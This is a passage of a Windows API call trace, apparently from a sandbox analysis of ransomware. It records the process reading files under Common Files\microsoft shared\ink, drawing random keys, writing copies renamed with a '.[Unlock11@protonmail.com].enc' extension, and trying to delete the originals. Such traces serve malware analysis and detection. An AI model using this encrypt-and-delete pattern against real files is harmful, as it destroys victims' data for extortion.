dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.268] GetFileType (hFile=0x3ac) returned 0x1 [0122.269] GetLastError () returned 0x0 [0122.269] GetCurrentThreadId () returned 0x9b0 [0122.269] GetLastError () returned 0x0 [0122.269] GetFileType (hFile=0x3ac) returned 0x1 [0122.269] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.269] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.269] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.269] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.269] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.269] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.269] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.269] GetLastError () returned 0x0 [0122.270] GetCurrentThreadId () returned 0x9b0 [0122.270] GetLastError () returned 0x0 [0122.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6be8 | out: hHeap=0x2ad0000) returned 1 [0122.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0122.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.270] GetLastError () returned 0x0 [0122.270] GetLastError () returned 0x0 [0122.270] GetCurrentThreadId () returned 0x9b0 [0122.270] GetLastError () returned 0x0 [0122.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.270] GetLastError () returned 0x0 [0122.271] GetLastError () returned 0x0 [0122.271] GetCurrentThreadId () returned 0x9b0 [0122.271] GetLastError () returned 0x0 [0122.271] GetLastError () returned 0x0 [0122.272] GetLastError () returned 0x0 [0122.272] GetCurrentThreadId () returned 0x9b0 [0122.272] GetLastError () returned 0x0 [0122.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x33064c8 [0122.273] GetCurrentThreadId () returned 0x9b0 [0122.273] GetLastError () returned 0x0 [0122.273] GetLastError () returned 0x0 [0122.273] GetLastError () returned 0x0 [0122.273] GetLastError () returned 0x0 [0122.273] GetCurrentThreadId () returned 0x9b0 [0122.273] GetLastError () returned 0x0 [0122.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33064c8 | out: hHeap=0x2ad0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0122.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.274] GetLastError () returned 0x0 [0122.274] GetLastError () returned 0x0 [0122.274] GetCurrentThreadId () returned 0x9b0 [0122.274] GetLastError () returned 0x0 [0122.274] GetLastError () returned 0x0 [0122.274] GetLastError () returned 0x0 [0122.274] GetCurrentThreadId () returned 0x9b0 [0122.274] GetLastError () returned 0x0 [0122.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.275] GetLastError () returned 0x0 [0122.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.276] CloseHandle (hObject=0x3ac) returned 1 [0122.276] GetLastError () returned 0x0 [0122.276] GetCurrentThreadId () returned 0x9b0 [0122.276] GetLastError () returned 0x0 [0122.276] GetLastError () returned 0x0 [0122.276] CloseHandle (hObject=0x39c) returned 1 [0122.276] GetLastError () returned 0x0 [0122.277] GetCurrentThreadId () returned 0x9b0 [0122.277] GetLastError () returned 0x0 [0122.277] GetLastError () returned 0x0 [0122.277] GetLastError () returned 0x0 [0122.277] GetLastError () returned 0x0 [0122.277] GetLastError () returned 0x0 [0122.277] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0 [0122.277] GetLastError () returned 0x5 [0122.277] GetCurrentThreadId () returned 0x9b0 [0122.277] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] LocalFree (hMem=0x1053a70) returned 0x0 [0122.278] GetCurrentThreadId () returned 0x9b0 [0122.278] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] GetLastError () returned 0x5 [0122.278] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x9bada4*="oskmenu.xml") returned 0x4c [0122.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0122.279] GetCurrentThreadId () returned 0x9b0 [0122.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7c8 [0122.279] GetLastError () returned 0x0 [0122.279] GetLastError () returned 0x0 [0122.279] GetLastError () returned 0x0 [0122.279] GetLastError () returned 0x0 [0122.279] GetCurrentThreadId () returned 0x9b0 [0122.280] GetLastError () returned 0x0 [0122.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7c8 | out: hHeap=0x2ad0000) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.280] GetCurrentThreadId () returned 0x9b0 [0122.280] GetLastError () returned 0x0 [0122.280] GetLastError () returned 0x0 [0122.280] GetLastError () returned 0x0 [0122.280] GetLastError () returned 0x0 [0122.280] GetCurrentThreadId () returned 0x9b0 [0122.280] GetLastError () returned 0x0 [0122.281] GetLastError () returned 0x0 [0122.281] GetLastError () returned 0x0 [0122.281] GetLastError () returned 0x0 [0122.281] GetLastError () returned 0x0 [0122.281] GetCurrentThreadId () returned 0x9b0 [0122.281] GetLastError () returned 0x0 [0122.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.281] GetLastError () returned 0x0 [0122.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0122.281] GetLastError () returned 0x0 [0122.281] GetLastError () returned 0x0 [0122.282] GetLastError () returned 0x0 [0122.282] GetCurrentThreadId () returned 0x9b0 [0122.282] GetLastError () returned 0x0 [0122.282] GetLastError () returned 0x0 [0122.282] GetLastError () returned 0x0 [0122.282] GetLastError () returned 0x0 [0122.282] GetLastError () returned 0x0 [0122.282] GetCurrentThreadId () returned 0x9b0 [0122.282] GetLastError () returned 0x0 [0122.282] GetCurrentThreadId () returned 0x9b0 [0122.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0122.282] GetLastError () returned 0x0 [0122.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] GetCurrentThreadId () returned 0x9b0 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] GetLastError () returned 0x0 [0122.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.284] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1 [0122.284] GetLastError () returned 0x0 [0122.284] GetCurrentThreadId () returned 0x9b0 [0122.284] GetLastError () returned 0x0 [0122.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0122.284] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0122.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0122.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.284] GetCurrentThreadId () returned 0x9b0 [0122.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0122.285] GetLastError () returned 0x0 [0122.285] GetLastError () returned 0x0 [0122.285] GetLastError () returned 0x0 [0122.285] GetLastError () returned 0x0 [0122.285] GetCurrentThreadId () returned 0x9b0 [0122.285] GetLastError () returned 0x0 [0122.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0122.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.285] GetCurrentThreadId () returned 0x9b0 [0122.285] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.286] GetCurrentThreadId () returned 0x9b0 [0122.286] GetLastError () returned 0x0 [0122.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ce8 [0122.286] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3338 | out: hHeap=0x2ad0000) returned 1 [0122.286] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.286] GetLastError () returned 0x0 [0122.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0122.287] GetLastError () returned 0x0 [0122.287] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.287] GetFileType (hFile=0x39c) returned 0x1 [0122.287] GetLastError () returned 0x0 [0122.287] GetCurrentThreadId () returned 0x9b0 [0122.287] GetLastError () returned 0x0 [0122.287] GetFileType (hFile=0x39c) returned 0x1 [0122.288] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.288] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.288] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.288] GetLastError () returned 0x0 [0122.288] GetCurrentThreadId () returned 0x9b0 [0122.288] GetLastError () returned 0x0 [0122.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0122.289] GetLastError () returned 0x0 [0122.289] GetLastError () returned 0x0 [0122.289] GetLastError () returned 0x0 [0122.289] GetLastError () returned 0x0 [0122.289] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.289] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cb8 [0122.289] GetLastError () returned 0x0 [0122.289] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.290] GetFileType (hFile=0x3ac) returned 0x1 [0122.290] GetLastError () returned 0x0 [0122.290] GetCurrentThreadId () returned 0x9b0 [0122.290] GetLastError () returned 0x0 [0122.290] GetFileType (hFile=0x3ac) returned 0x1 [0122.290] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.291] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.291] GetLastError () returned 0x0 [0122.291] GetCurrentThreadId () returned 0x9b0 [0122.291] GetLastError () returned 0x0 [0122.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0122.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.291] GetLastError () returned 0x0 [0122.291] GetLastError () returned 0x0 [0122.291] GetCurrentThreadId () returned 0x9b0 [0122.291] GetLastError () returned 0x0 [0122.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.292] GetLastError () returned 0x0 [0122.292] GetLastError () returned 0x0 [0122.292] GetCurrentThreadId () returned 0x9b0 [0122.292] GetLastError () returned 0x0 [0122.292] GetLastError () returned 0x0 [0122.293] GetLastError () returned 0x0 [0122.293] GetCurrentThreadId () returned 0x9b0 [0122.293] GetLastError () returned 0x0 [0122.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0122.293] GetCurrentThreadId () returned 0x9b0 [0122.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x3306fc8 [0122.294] GetLastError () returned 0x0 [0122.294] GetLastError () returned 0x0 [0122.294] GetLastError () returned 0x0 [0122.294] GetLastError () returned 0x0 [0122.294] GetCurrentThreadId () returned 0x9b0 [0122.294] GetLastError () returned 0x0 [0122.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3306fc8 | out: hHeap=0x2ad0000) returned 1 [0122.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0122.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.294] GetLastError () returned 0x0 [0122.295] GetLastError () returned 0x0 [0122.295] GetCurrentThreadId () returned 0x9b0 [0122.295] GetLastError () returned 0x0 [0122.295] GetLastError () returned 0x0 [0122.295] GetLastError () returned 0x0 [0122.295] GetCurrentThreadId () returned 0x9b0 [0122.295] GetLastError () returned 0x0 [0122.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.295] GetLastError () returned 0x0 [0122.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.296] CloseHandle (hObject=0x3ac) returned 1 [0122.296] GetLastError () returned 0x0 [0122.297] GetCurrentThreadId () returned 0x9b0 [0122.297] GetLastError () returned 0x0 [0122.297] GetLastError () returned 0x0 [0122.297] CloseHandle (hObject=0x39c) returned 1 [0122.297] GetLastError () returned 0x0 [0122.297] GetCurrentThreadId () returned 0x9b0 [0122.297] GetLastError () returned 0x0 [0122.297] GetLastError () returned 0x0 [0122.297] GetLastError () returned 0x0 [0122.297] GetLastError () returned 0x0 [0122.298] GetLastError () returned 0x0 [0122.298] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0 [0122.298] GetLastError () returned 0x5 [0122.298] GetCurrentThreadId () returned 0x9b0 [0122.298] GetLastError () returned 0x5 [0122.298] GetLastError () returned 0x5 [0122.298] GetLastError () returned 0x5 [0122.298] GetLastError () returned 0x5 [0122.298] LocalFree (hMem=0x1053a70) returned 0x0 [0122.299] GetCurrentThreadId () returned 0x9b0 [0122.299] GetLastError () returned 0x5 [0122.299] GetLastError () returned 0x5 [0122.299] GetLastError () returned 0x5 [0122.299] GetLastError () returned 0x5 [0122.299] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", lpFilePart=0x9bada4*="osknav.xml") returned 0x4b [0122.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0122.299] GetCurrentThreadId () returned 0x9b0 [0122.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0122.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0122.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0122.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea610 [0122.300] GetLastError () returned 0x0 [0122.300] GetLastError () returned 0x0 [0122.300] GetLastError () returned 0x0 [0122.300] GetLastError () returned 0x0 [0122.300] GetCurrentThreadId () returned 0x9b0 [0122.300] GetLastError () returned 0x0 [0122.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea610 | out: hHeap=0x2ad0000) returned 1 [0122.300] GetCurrentThreadId () returned 0x9b0 [0122.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetCurrentThreadId () returned 0x9b0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetLastError () returned 0x0 [0122.301] GetCurrentThreadId () returned 0x9b0 [0122.302] GetLastError () returned 0x0 [0122.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.302] GetLastError () returned 0x0 [0122.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0122.302] GetLastError () returned 0x0 [0122.302] GetLastError () returned 0x0 [0122.302] GetLastError () returned 0x0 [0122.302] GetCurrentThreadId () returned 0x9b0 [0122.302] GetCurrentThreadId () returned 0x9b0 [0122.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aaa8 [0122.302] GetCurrentThreadId () returned 0x9b0 [0122.303] GetCurrentThreadId () returned 0x9b0 [0122.303] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1 [0122.303] GetCurrentThreadId () returned 0x9b0 [0122.303] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0122.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0122.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0122.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0122.303] GetCurrentThreadId () returned 0x9b0 [0122.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0122.304] GetCurrentThreadId () returned 0x9b0 [0122.304] GetCurrentThreadId () returned 0x9b0 [0122.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea660 [0122.304] GetCurrentThreadId () returned 0x9b0 [0122.304] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.305] GetFileType (hFile=0x39c) returned 0x1 [0122.305] GetCurrentThreadId () returned 0x9b0 [0122.305] GetFileType (hFile=0x39c) returned 0x1 [0122.305] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.305] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.305] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.305] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.305] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.305] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.305] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.306] GetLastError () returned 0x0 [0122.306] GetCurrentThreadId () returned 0x9b0 [0122.306] GetLastError () returned 0x0 [0122.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c98 | out: hHeap=0x2ad0000) returned 1 [0122.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2568 | out: hHeap=0x2ad0000) returned 1 [0122.306] GetLastError () returned 0x0 [0122.306] GetLastError () returned 0x0 [0122.306] GetLastError () returned 0x0 [0122.306] GetLastError () returned 0x0 [0122.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.306] GetLastError () returned 0x0 [0122.307] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.308] GetFileType (hFile=0x3ac) returned 0x1 [0122.308] GetLastError () returned 0x0 [0122.308] GetCurrentThreadId () returned 0x9b0 [0122.308] GetLastError () returned 0x0 [0122.308] GetFileType (hFile=0x3ac) returned 0x1 [0122.308] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.308] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, 